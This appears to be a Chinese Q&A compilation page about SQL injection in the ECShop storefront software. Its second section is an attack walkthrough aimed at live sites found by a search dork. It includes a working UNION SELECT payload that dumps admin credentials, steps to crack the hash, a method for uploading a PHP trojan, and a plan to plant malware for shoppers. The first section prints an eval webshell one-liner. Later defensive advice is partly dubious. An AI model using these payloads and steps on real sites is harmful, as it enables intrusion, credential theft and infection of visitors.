ecshopsql注入漏洞
Ⅰ 怎麼去掉ecshop模板文件過濾php標簽
最好不要在模板裡面寫php。會導致sql注入,引起後台賬號泄露。
ECshop的模板是支持php代碼的,這個給一些不法分子創造了掛馬的機會,這些不法分子掛馬步驟很可能是:
1、通過ecshop的漏洞搞SQL注入,暴出管理員密碼md5值,然後通過**md5得到管理密碼。(注:防止暴出管理密碼md5值的方法是關閉display_errors,並且修改cls_mysql.php里的ErrorMsg函數,注釋掉所有錯誤輸出代碼或把錯誤寫入文件)
2、進入管理後台,通過模板管理->庫項目管理,編輯lbi文件,添加php代碼,例如<?php @eval($_POST['lx']);?>
3、到這里,就完全控制這個站了,想掛什麼馬就掛什麼馬。
可見,ECshop的模板支持php代碼這點是非常危險的,因此我們應該過濾模板里的所有php代碼。
如果實在要去掉ecshop模板文件過濾php標簽
修改 includes/cls_template.php
可以遵循以下步驟:
去掉第288-299行以下代碼:
if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
}
}
這樣,模板里的php代碼就被保留了。
Ⅱ 木馬是怎樣攻入Ecshop商城的
Ecshop是一套網路商城建站系統,主要服務於想快捷搭建商城系統的用戶,該系統是個人建立商城的主流軟體。
在網路上,主要有兩種類型的網路購物,一類是像淘寶這樣的C2C站點,另一類是像卓越這樣的B2C站點。B2C站點除了卓越、當當等大型站點外,還有很多規模較小的B2C站點,由於這些中小型B2C站點數目較大,因此每天的成交量也非常可觀。
這些的中小型B2C站點通常沒有專業的建站團隊,站點都是站長通過現成的商城程序搭建起來的,其中Ecshop網路商城系統用得最多,因此一旦這套系統出現安全問題,將會波及網路上所有採用這套系統建立的B2C站點。
但不幸的事情還是發生了,Ecshop出現了嚴重的安全漏洞,黑客可以運用 該漏洞入侵站點,竄改商品價格,更令人擔憂的是該漏洞可以被用來掛馬,所有訪問商城的用戶都會中毒,他們的各種賬號和密碼可能被盜。此外,黑客可以修改站點的支付介面,用戶購買商品時貨款會直接打到黑客的賬戶中。
本文主角:Ecshop商城 V2.5.0
問題所在:含有SQL漏洞
主要危害:用於掛馬、入侵伺服器等
Ecshop存在SQL注入漏洞
運用 Ecshop漏洞須要用到SQL注入。由於程序員的疏忽,沒有對User.php文件中的SQL變數實行過濾,從而導致SQL注入的發生。黑客可以構造特殊的代碼,直接讀取存放在站點資料庫中的管理員賬號和密碼。
漏洞的運用 非常基本,只需在站點地址後輸入「user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*」這樣一句代碼就可以讀出站點資料庫中的管理員賬號和密碼。
掛馬流程揭秘
第一步:尋找入侵目標
在網路或谷歌中以「Powered by Ecshop v2.5.0」為關鍵字實行搜索(圖1),可以找到很多符合條件的站點,隨便挑選一個站點作為測試目標。須要留心的是,站點越小安全防護也越弱,成功率相比較較高。
第二步:獲得管理員賬號和密碼
打開測試站點,在其網址後輸入:user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*。
例如該站點網址為http://www.***.com/,則完整的漏洞運用 地址為:http://www.***.com/ user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*。
輸入完畢後回車,如果看到類似圖2的界面,則說明漏洞被運用 成功了。在返回的信息中,可以發覺很主要的內容,包括站點管理員的賬號、密碼及E-mail地址。從圖2可以找到,管理員賬號為admin,密碼為。密碼是經過MD5加密的,所以看到的是一串32位長的字元,須要對這串字元實行破解才能看到真實的密碼。
第三步:破解MD5密碼
雖然密碼經過MD5加密,但是通過破解是可以得到密碼原文的。將這段MD5值復制下來,打開MD5在線破解站點 http://www.cmd5.com/。
把這串MD5值復制到站點頁面正中間的文本框中,點擊「MD5加密或解密」按鈕,密碼原文就被破解出來了——admin1234(圖3)。當然,破解MD5值靠的是運氣,如果管理員將密碼配置得很復雜,例如「數字+字母+特殊符號」的組合,那麼就很難破解出密碼原文。
如果MD5在線破解站點無法破解出密碼原文,那麼也可以採用MD5暴力破解軟體來實行破解,當然耗費的時間會很長,在這里就不多作介紹了。
第四步:上傳木馬
既然管理員賬號和密碼都已拿到手,接下來我們就可以登錄站點的後台了。在站點網址後輸入admin並回車,將會出現站點後台登錄頁面,輸入管理員賬號admin、密碼admin1234即可登錄。
來到後台,我們可以看到Ecshop的站點後台功能是非常多的,當然這也給了我們上傳木馬的機會。點擊「系統配置 」中的「Flash播放器管理」鏈接(圖4)。打開後再點擊「添加自定義」按鈕。
這時我們會來到一個上傳圖片的頁面,在這里不僅僅可以上傳圖片,還能輕輕鬆鬆地上傳木馬!這里我們選擇一款功能強大的PHP木馬,點擊「確定」按鈕即可將木馬上傳(圖5)。
上傳成功後,進入「輪播圖片地址」,在這里我們可以看到上傳的木馬的的路徑(圖6)。
將地址復制到瀏覽器地址欄中並打開,可以在裡面任意瀏覽、修改甚至刪除站點中的文件(圖7),最後就是在站點首頁中插入掛馬代碼,當用戶瀏覽商城首頁的時候,就會激活病毒,病毒會偷偷地入侵用戶的計算機。
防備方案
要修補該漏洞,須要對User.php文件中的SQL變數實行嚴格的過濾,不允許惡意調用變數查詢資料庫。普通讀者在上網時,最好運用能攔截網頁木馬的安全輔助工具,防止網頁木馬的騷擾。
Ⅲ 當php程序員的要求是什麼
作為一名PHP程序員的基本要求:
精通html、CSS、JS等網站前端技術。
掌握PHP編程技術,熟練掌握PHP語法。
了解Linux及Apache、MySql資料庫。
知道基本的網路原理,了解TCP/IP協議。
了解基本的軟體工程知識和軟體設計技術。
理解安全漏洞,如:SQL注入漏洞、字元編碼循環、跨站腳本攻擊(XSS)、跨站請求偽造(CSRF)。
面向對象編程(OOP)、PHP緩存技術、PHP相關開發框架、軟體重構技術、軟體設計模式。
掌握PHPMyAdmin工具使用;Zend,專業PHP集成開發環境,是php程序員首選IDE工具。
Ⅳ ecshop sql注入漏洞是什麼意思
注入是指SQL語句的WHERE條件部分
如:"SELECT * FROM tUSER WHERE fUSERNAME = '" & 變數 & "'"
變數裡面是一串字元串,例如輸入"王東東",那麼SQL就變成:
"SELECT * FROM tUSER WHERE fUSERNAME = '王東東'"了
但是有人輸入了這樣的字元串:"王東東' OR '1'='1",當替換變數的值後,SQL語句就變成
"SELECT * FROM tUSER WHERE fUSERNAME = '王東東' OR '1'='1'"了
於是,這條SQL語句的條件就永遠是真的了。注入成功,如果是用於密碼判斷,就通過了。
Ⅳ 怎麼檢測網站存在注入漏洞 防注入有哪些解決辦法
許多網站程序在編寫時,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼(一般是在瀏覽器地址欄進行,通過正常的www埠訪問),根據程序返回的結果,獲得某些想得知的數據,這就是所謂的SQL Injection,即SQL注入。
第一步:很多新手從網上下載SQL通用防注入系統的程序,在需要防範注入的頁面頭部用來防止別人進行手動注入測試。
可是如果通過SQL注入分析器就可輕松跳過防注入系統並自動分析其注入點。然後只需要幾分鍾,你的管理員賬號及密碼就會被分析出來。
第二步:對於注入分析器的防範,通過實驗,發現了一種簡單有效的防範方法。首先我們要知道SQL注入分析器是如何工作的。在操作過程中,發現軟體並不是沖著「admin」管理員賬號去的,而是沖著許可權(如flag=1)去的。這樣一來,無論你的管理員賬號怎麼變都無法逃過檢測。
第三步:既然無法逃過檢測,那我們就做兩個賬號,一個是普通的管理員賬號,一個是防止注入的賬號,如果找一個許可權最大的賬號製造假象,吸引軟體的檢測,而這個賬號里的內容是大於千字以上的中文字元,就會迫使軟體對這個賬號進行分析的時候進入全負荷狀態甚至資源耗盡而死機。下面我們就來修改資料庫吧。
對表結構進行修改。將管理員的賬號欄位的數據類型進行修改,文本型改成最大欄位255(其實也夠了,如果還想做得再大點,可以選擇備注型),密碼的欄位也進行相同設置。
對表進行修改。設置管理員許可權的賬號放在ID1,並輸入大量中文字元(最好大於100個字)。
把真正的管理員密碼放在ID2後的任何一個位置(如放在ID549上)。
我們通過上面的三步完成了對資料庫的修改。
另外要明白您做的ID1賬號其實也是真正有許可權的賬號,現在計算機處理速度那麼快,要是遇上個一定要將它算出來的軟體,這也是不安全的。只要在管理員登錄的頁面文件中寫入字元限制就行了,就算對方使用這個有上千字元的賬號密碼也會被擋住的,而真正的密碼則可以不受限制。
希望可以幫到你,謝謝!
Ⅵ ecshop被掛馬,首頁index.php總是被篡改成html代碼,刪不掉改不了還。
最近9月份出來的ecshop漏洞,對於2.72 .2.73 3.0 3.6 4.0版本的sql執行getshell漏洞導致的用ecshop程序的網站被入侵 user.php被刪除 而且網站首頁總是被篡改經常是標題和描述被修改從網路搜索打開網站跳轉到一些博cai網站,應該對轉義函數進行過濾防止post提交生成php腳本木馬文件,而且這個被篡改的問題是反復性質的,清理刪除代碼後沒過多久就又被篡改了。必須要對程序漏洞的根源問題進行修復網站漏洞,清理已經被上傳的隱蔽性的木馬後門。
如果對程序代碼不熟悉的話建議找專業做網站安全公司來處理此問題,國內推薦Sinesafe,綠盟,啟蒙星辰等等。